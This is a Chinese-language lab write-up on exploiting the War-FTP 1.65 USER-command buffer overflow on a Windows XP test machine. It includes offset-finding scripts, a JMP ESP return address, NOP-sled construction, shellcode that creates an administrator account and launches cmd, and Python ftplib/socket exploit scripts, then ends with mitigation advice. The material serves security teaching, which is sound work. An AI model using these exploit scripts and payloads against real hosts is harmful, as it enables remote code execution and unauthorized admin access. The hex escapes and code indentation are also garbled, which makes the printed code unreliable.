通过实践掌握缓冲区溢出的原理;掌握常用的缓冲区溢出方法;理解缓冲区溢出危害性;掌握防范和避免缓冲区溢出攻击的措施。
一、实验环境
获取链接:链接:https://pan.baidu.com/s/1CeSKujRFC2DzGx_xDwT8fQ 提取码:qlgr
(1) VMware15.x
(2) 存在漏洞的windows版本镜像
(3) war-ftp1.6.5
(4) OllyDBG调试工具
(5) python3环境
二、实验准备
(1)理解缓冲区溢出攻击的原理。
(2)获取 War-ftp 1.65,学习使用该软件。
(3)了解 War-ftp1.65 漏洞细节:发送长度超过 480 字节的用户名给 War-ftp 服务器可 以触发漏洞(即 USER longString ) ,溢出之后 ESP 指令寄存器的内容包含了 longString 中的部分内容。远程攻击者可利用此漏洞以应用程序进程权限执行任意指令。
(4)熟悉 www.metasploit.com 中生成 shellcode 的方法。
(5)安装perl,学习使用光盘中的patternCreate.pl和patternOffset.pl,其中patternCreate.pl 用于创建不重复的字符串,patternOffset.pl 用于定位字符串。
(6)学习使用一种调试工具,因为要查看溢出后缓冲区里的情况和各寄存器的信息, 需要用到调试工具。比较专业的调试工具有 OllyDBG、IDA Pro 等,比较简单易用的调试工具有 NTSD、CDB 和 WinDbg(这三个工具都包含在 Debugging Tools for Windows 中,其中 Windows 2000 以上的系统自带有 NTSD)。在此实验中推荐使用 CDB 或者 NTSD,两者的 使用方法基本一致。
(7)学习参考书目中对 CCProxy6.2 Ping Overflow 漏洞的分析与利用,在理解实例的基础上完成此实验。
三、实验内容
利用War-ftp 1.65 Buffer Overflow 漏洞,在目标主机上添加一个用户。按照如下步骤进行:
(1)检测漏洞的存在。
(2)构造能够实现在目标主机上添加用户的 Shellcode。
(3)获取缓冲区的大小并定位溢出点 Ret 的位置。
(4)改变程序的流程使 War-ftp 在溢出之后执行 Shellcode。
(5)撰写python脚本实现漏洞利用程序。
四、意外情况
1. 无法通过OllyDBG运行war-ftp
运行前需要保证:
- 关闭war-ftp进程
- 删除war-ftp同文件夹下的Ftp-Daemon.dat文件
- 在OllyDBG中点击Debug->restart
2. 装载运行后出现exception,war-ftp无响应
多次点击运行按钮,war-ftp会响应,点击Go Online
即可开启服务。实在不行使用windbg代替ollyDBG,如网络攻防:ccproxy + war-ftpd 缓冲区溢出攻击详解所示
五、详细步骤
1. 使用OllyDBG运行war-ftp并Go-online
点击go-online后,在war-ftp同文件夹下会出现Ftp-Daemon.dat文件,删除即可
2. 测试缓冲区溢出漏洞
打开ftp并输入对应的ip,请求连接。war-ftp进入1 connection状态
我们生成一串比较长的用户名(下面记为outstr)测试,在此使用了encodestr.py
生成长度为2000的不重复字符串,不重复的好处在于之后分析堆栈时,可以很方便的通过寄存器内容找到outstr对应的位置。
密码随意输入。发现war-ftp出现异常,进入无响应状态:
a="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b="abcdefghijklmnopqrstuvwxyz"
c="0123456789"
def getstr(num):
outstr=""
for i in range(0,26):
for j in range(0,26):
for k in range(0,10):
outstr += a[i]+b[j]+c[k]
if(len(outstr) > num):
return outstr
outstr = getstr(2000)
with open("str.txt","w") as f:
f.write(outstr[:num]) #这句话自带文件关闭功能,不需要再写f.close()
或
from string import ascii_uppercase, ascii_lowercase, digits
import itertools
# 1.确定跳转位置 生成不重复的1000字符串
pattern = (''.join(map(''.join, itertools.product(ascii_uppercase, ascii_lowercase, digits))).encode())[:2000]
3. 分析堆栈的内容
eip: 32714131 为指针寄存器(按字节分开,对应字符串为1Aq2),位置为485
esp: q4Aq 可直接在outstr寻找对应的位置,为493,指向栈顶
ebp: 3At4 可直接在outstr寻找对应的位置,为581,指向栈基(栈的结构是从高到低的)
使用location.py
脚本找出字符串在outstr中对应的位置:
str = '32714131'
ostr = ''
for i in range(len(str), 0, -2):
tmp = int(str[i - 2:i], 16)
ostr += chr(tmp)
print(ostr)
print(outstr.find(ostr))
print(outstr.find('q4Aq'))
print(outstr.find('3At4'))
或
pattern.find(bytes.fromhex('32714131')[::-1])
由此,我们可以绘制栈结构对应的字符串位置:
如图所示,war-ftp原本的结构中缓冲区大小被固定为480个字符以内,如果输入的字符串长度过长会覆盖原本在485的JUMP指令以及493的shellcode,使程序进入异常。
若使用精心构造的序列攻击,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第493字节开始的ESP执行shellcode。
4. 构造exploit结构
这里的重点之一是寻找组成注入向量的跳转地址(JMP ESP的指令地址),可以使用中文WIN 2K/XP/2003下通用的JMP ESP:0x7ffa4512,对应esp地址用x12x45xfax7f
来填充(这是因为x86系统是little-endian方式),这里还可以使用python脚本生成颠倒的字符串。
retaddr = bytes.fromhex('7ffa4512')[::-1]
重点之二是构造攻击代码:为了防止在执行shellcode之前程序乱跳,所以使用NOP(x90
)指令来进行预防(从user
后接485个NOP指令),从493字节把shellcode复制过去,最后以
表示ftp user命令结束。
buf = (b"x90" *485 + retaddr).ljust(493,b"x90") + shellcode + b"
"
这里的ljust()
方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。
5. shellcode构造
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
shellcode可以使用msfpayload生成,以下是2个生成示例:
class Shellcode:
# 在window xp下建立一个zane的用户,并设置为管理员
code1 = ("xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49"
"x49x49x49x49x49x49x49x49x37x49x49x49x51x5ax6ax4a"
"x58x30x42x30x50x41x6bx41x41x5ax42x32x41x42x32x42"
"x41x41x30x42x41x58x50x38x41x42x75x7ax49x79x6cx69"
"x78x51x54x57x70x43x30x63x30x4cx4bx67x35x45x6cx6e"
"x6bx71x6cx66x65x43x48x55x51x5ax4fx4ex6bx70x4fx42"
"x38x4cx4bx43x6fx51x30x56x61x78x6bx30x49x4cx4bx76"
"x54x4cx4bx65x51x7ax4ex66x51x6bx70x5ax39x6ex4cx4d"
"x54x4fx30x73x44x56x67x68x41x5ax6ax66x6dx44x41x6a"
"x62x58x6bx48x74x65x6bx72x74x31x34x77x74x74x35x79"
"x75x6cx4bx73x6fx67x54x64x41x7ax4bx62x46x6ex6bx64"
"x4cx30x4bx6ex6bx33x6fx75x4cx37x71x48x6bx6ex6bx57"
"x6cx4cx4bx77x71x58x6bx4cx49x61x4cx56x44x47x74x69"
"x53x70x31x4bx70x45x34x4cx4bx31x50x64x70x6fx75x49"
"x50x52x58x36x6cx4cx4bx43x70x64x4cx4ex6bx74x30x45"
"x4cx4cx6dx4ex6bx63x58x33x38x6ax4bx47x79x4cx4bx4d"
"x50x68x30x37x70x73x30x53x30x6ex6bx35x38x55x6cx53"
"x6fx47x41x6ax56x73x50x52x76x4bx39x7ax58x4fx73x6b"
"x70x63x4bx76x30x42x48x31x6ex78x58x78x62x62x53x62"
"x48x7ax38x4bx4ex4fx7ax66x6ex30x57x69x6fx38x67x61"
"x73x50x6dx55x34x66x4ex33x55x73x48x35x35x61x30x54"
"x6fx45x33x31x30x50x6ex72x45x50x74x65x70x30x75x41"
"x63x70x65x73x42x37x50x51x6ax62x41x62x4ex72x45x71"
"x30x71x75x70x6ex50x61x72x5ax37x50x46x4fx43x71x71"
"x54x43x74x41x30x36x46x51x36x55x70x70x6ex43x55x70"
"x74x55x70x30x6cx72x4fx32x43x35x31x50x6cx70x67x64"
"x32x72x4fx54x35x42x50x35x70x32x61x71x74x42x4dx62"
"x49x30x6ex55x39x33x43x73x44x71x62x51x71x72x54x50"
"x6fx54x32x31x63x45x70x71x6ax42x41x62x4ex41x75x55"
"x70x46x4fx30x41x30x44x30x44x43x30x4a")
# 执行winexec的shellcode代码如下,其中0x751f3231是WinExec的地址
buf = ""
buf += "x55x8BxECx33xFFx57x83xECx04xC6x45"
buf += "xF8x63xC6x45xF9x6DxC6x45xFAx64xC6"
buf += "x45xFBx2ExC6x45xFCx65xC6x45xFDx78"
buf += "xC6x45xFEx65x6Ax01x8Dx45xF8x50xBA"
buf += "xadx23x86x7c"
buf += "xFFxD2xC9"
6. 使用ftplib打开命令行
链接war-ftp的方式可以用socket,也可以直接使用封装好的ftplib库,发送字符串。这里由于x90
不能解码,直接替换成没有含义的A或B.
from ftplib import FTP
from shellcode import Shellcode
ftp = FTP('192.168.5.132')
buf = 'A' * 485 + 'x12x45xfax7f' + 'B' * 4 #多增加4个B
buf += Shellcode.buf
ftp.login(buf, 'ww')
成功打开命令行窗口:
7. 使用socket创建管理员
另外一种方式是使用socket直接connect对应的ip和端口,发送二进制串。
import socket
from shellcode import Shellcode
def send_buf(buffer, host='192.168.5.132', port=21):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
data = b'user ' + buffer + b"
"
sock.send(data)
sock.recv(1000)
retaddr = bytes.fromhex('7ffa4512')[::-1]
buf = (b"x90" * 485 + retaddr).ljust(493, b"x90") + Shellcode.code1.encode('utf-8')
send_buf(buf)
在控制面板或登录界面下,成功创建了管理员用户zane
:
七、解决方案
对于缓冲区溢出问题,根本原因是服务器在搭建ftp服务器端时,未对用户输入长度进行限制。服务器端对于用户发来的请求没有进行处理而直接覆盖了缓冲区后面的代码。
解决方案也很简单,以python代码为例:
#进行用户名密码验证的函数
def name_check(self):
while True:
name = self.request.recv(1024).decode('utf-8')
self.request.send('0'.encode('utf-8'))
passwd=self.request.recv(1024).decode('utf-8')
if common.login(name,passwd):
self.request.send('0'.encode('utf-8'))
return name
else:
self.request.send('1'.encode('utf-8'))
continue
使用request.recv是带上参数1024,表示接受命令的长度最大是1024,这样就可以避免缓冲区溢出攻击。
八、总结原理与防范思路
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。
有以下几种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响:
- 通过操作系统限制可执行代码的区域,使得缓冲区不可执行,从而阻止攻击者植入攻击代码
- 强制写正确的代码的方法:对于C语言中不安全的函数我们要使用安全的函数来替代,用fgets()、strncpy()、strncat()来替代gets()、strcpy()、strcat()等不限制字符串长度,不检查数组越界的函数。实际上编译器在编译完代码之后就已经提示了一个警告
warning, this program uses gets(), which is unsafe.
。所以,我们应该重视编译器给我们的提示,这样往往能避免常见的错误 - 利用编译器的边界检查来实现缓冲区的保护,使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁
- 在向一块内存中写入数据之前要确认这块内存是否可以写入,同时检查写入的数据是否超过这块内存的大小
- 栈破坏检测。也就是说在实际的缓冲区上面做个标记,保存这个标记,然后在函数返回之前检查这个标记,如果这个标记和函数调用之前不一样了,就说明在函数调用的过程中发生了溢出,这是就抛异常,让程序异常终止。
- 栈随机化法。也就是说让栈的位置在程序每次运行时都不一样,然后黑客将可执行代码插入内存之后就不容易找到指向该字符串的地址,也就不能执行插入的程序了